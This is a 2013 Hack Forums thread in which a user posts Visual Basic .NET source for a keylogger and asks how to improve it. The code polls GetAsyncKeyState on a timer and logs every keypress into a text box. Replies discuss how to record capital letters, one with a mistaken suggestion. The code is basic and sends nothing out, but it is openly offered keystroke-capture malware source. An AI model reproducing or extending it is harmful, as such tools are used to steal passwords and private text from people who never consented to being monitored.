

Forum:[Hack Forums](#)

Thread: [\[VB\] Keylogger](#)

Air X - January 19, 2013, 9:44 pm

I'm currently working on a keylogger for educational purposes and I'm wondering how I can improve this code:

Spoiler ([Click to View](#))Code Public Class Form1

```
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Integer
Dim typein As String
```

```
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
```

```
For logger = 1 To 255
```

```
typein = GetAsyncKeyState(logger)
```

```
If typein = -32767 Then
```

```
Select Case logger
```

```
Case 8
```

```
rtb1.Text += "[Backspace]"
```

```
Case 9
```

```
rtb1.Text += "[Tab]"
```

```
Case 13
```

```
rtb1.Text += "[Enter]" & vbNewLine
```

```
Case 16
```

```
rtb1.Text += "[Shift]"
```

```
Case 17
```

```
rtb1.Text += "[Ctrl]"
```

```
Case 19
```

```
rtb1.Text += "[Pause Break]"
```

```
Case 20
```

```
rtb1.Text += "[CapsLock]"
```

```
Case 27
```

```
rtb1.Text += "[Esc]"
```

```
Case 32
```

```
rtb1.Text += " "
```

```
Case 37
```

```
rtb1.Text += "[Left]"
```

```
Case 38
```

```
rtb1.Text += "[Up]"
```

```
Case 39
```

```
rtb1.Text += "[Right]"
```

```
Case 40
```

```
rtb1.Text += "[Down]"
```

```
Case 44
```

```
rtb1.Text += "[PrtSc]"
```

```
Case 45
```

```
rtb1.Text += "[Ins]"
```

```
Case 46
```

```
rtb1.Text += "[Del]"
```

```
Case 48
```

rtb1.Text += "0"
Case 49
rtb1.Text += "1"
Case 50
rtb1.Text += "2"
Case 51
rtb1.Text += "3"
Case 52
rtb1.Text += "4"
Case 53
rtb1.Text += "5"
Case 54
rtb1.Text += "6"
Case 55
rtb1.Text += "7"
Case 56
rtb1.Text += "8"
Case 57
rtb1.Text += "9"
Case 65
rtb1.Text += "a"
Case 66
rtb1.Text += "b"
Case 67
rtb1.Text += "c"
Case 68
rtb1.Text += "d"
Case 69
rtb1.Text += "e"
Case 70
rtb1.Text += "f"
Case 71
rtb1.Text += "g"
Case 72
rtb1.Text += "h"
Case 73
rtb1.Text += "i"
Case 74
rtb1.Text += "j"
Case 75
rtb1.Text += "k"
Case 76
rtb1.Text += "l"
Case 77
rtb1.Text += "m"
Case 78
rtb1.Text += "n"
Case 79
rtb1.Text += "o"
Case 80
rtb1.Text += "p"
Case 81
rtb1.Text += "q"

Case 82
rtb1.Text += "r"
Case 83
rtb1.Text += "s"
Case 84
rtb1.Text += "t"
Case 85
rtb1.Text += "u"
Case 86
rtb1.Text += "v"
Case 87
rtb1.Text += "w"
Case 88
rtb1.Text += "x"
Case 89
rtb1.Text += "y"
Case 90
rtb1.Text += "z"
Case 91
rtb1.Text += "[Win]"
Case 96
rtb1.Text += "0"
Case 97
rtb1.Text += "1"
Case 98
rtb1.Text += "2"
Case 99
rtb1.Text += "3"
Case 100
rtb1.Text += "4"
Case 101
rtb1.Text += "5"
Case 102
rtb1.Text += "6"
Case 103
rtb1.Text += "7"
Case 104
rtb1.Text += "8"
Case 105
rtb1.Text += "9"
Case 106
rtb1.Text += "*"
Case 107
rtb1.Text += "+"
Case 109
rtb1.Text += "-"
Case 110
rtb1.Text += "."
Case 111
rtb1.Text += "/"
Case 112
rtb1.Text += "[F1]"
Case 113

```
rtb1.Text += "[F2]"
Case 114
rtb1.Text += "[F3]"
Case 115
rtb1.Text += "[F4]"
Case 116
rtb1.Text += "[F5]"
Case 117
rtb1.Text += "[F6]"
Case 118
rtb1.Text += "[F7]"
Case 119
rtb1.Text += "[F8]"
Case 120
rtb1.Text += "[F9]"
Case 121
rtb1.Text += "[F10]"
Case 122
rtb1.Text += "[F11]"
Case 123
rtb1.Text += "[F12]"
Case 144
rtb1.Text += "[NumLk]"
Case 164
rtb1.Text += "[Alt]"
Case 165
rtb1.Text += "[Alt]"
Case 186
rtb1.Text += ";"
Case 187
rtb1.Text += "="
Case 188
rtb1.Text += ","
Case 189
rtb1.Text += "-"
Case 190
rtb1.Text += "."
Case 191
rtb1.Text += "/"
Case 192
rtb1.Text += "`"
Case 219
rtb1.Text += "["
Case 220
rtb1.Text += "\"
Case 221
rtb1.Text += "]"
Case 222
rtb1.Text += """"
End Select
End If
Next
End Sub
```

```
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
Me.WindowState = FormWindowState.Minimized
End Sub
```

```
Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
If Timer1.Enabled = True Then
    Timer1.Enabled = False
    Button2.Text = "Resume Keylogger"
ElseIf Timer1.Enabled = False Then
    Timer1.Enabled = True
    Button2.Text = "Pause Keylogger"
End If
End Sub
End Class
```

I know that adding tons of cases is pretty unprofessional, but what would be a better way of doing this?

4RG0S - January 19, 2013, 11:05 pm

There is no other option as far as i know you must use GetAsyncKeyState :)

Air X - January 19, 2013, 11:22 pm

(Jan 20, 2013 12:05 AM)4RG0S Wrote: [\[CITE\]](#) There is no other option as far as i know you must use GetAsyncKeyState :)

Would there be any way to capitalize my letters instead of having the program print out long lines of code (for example: "[Shift]a" would be changed to A)?

ScooterSam - January 20, 2013, 12:46 am

(Jan 20, 2013 12:22 AM)Air X Wrote: [\[CITE\]](#) Would there be any way to capitalize my letters instead of having the program print out long lines of code (for example: "[Shift]a" would be changed to A)?

This may work^^

if logger = 16 and 65 then

rtb1.text += "A"

end if

willtdotnet - January 20, 2013, 4:12 am

Sorry ScooterSam, but your suggestion would not work, since it makes no sense for any integer to have two simultaneous values.

A more sensible route may be to find handlers for key down and key up, then switch a boolean for every time the shift key is depressed and released. In this way, you could just add letter keys which are upper or lower case, depending on whether this boolean is true or false.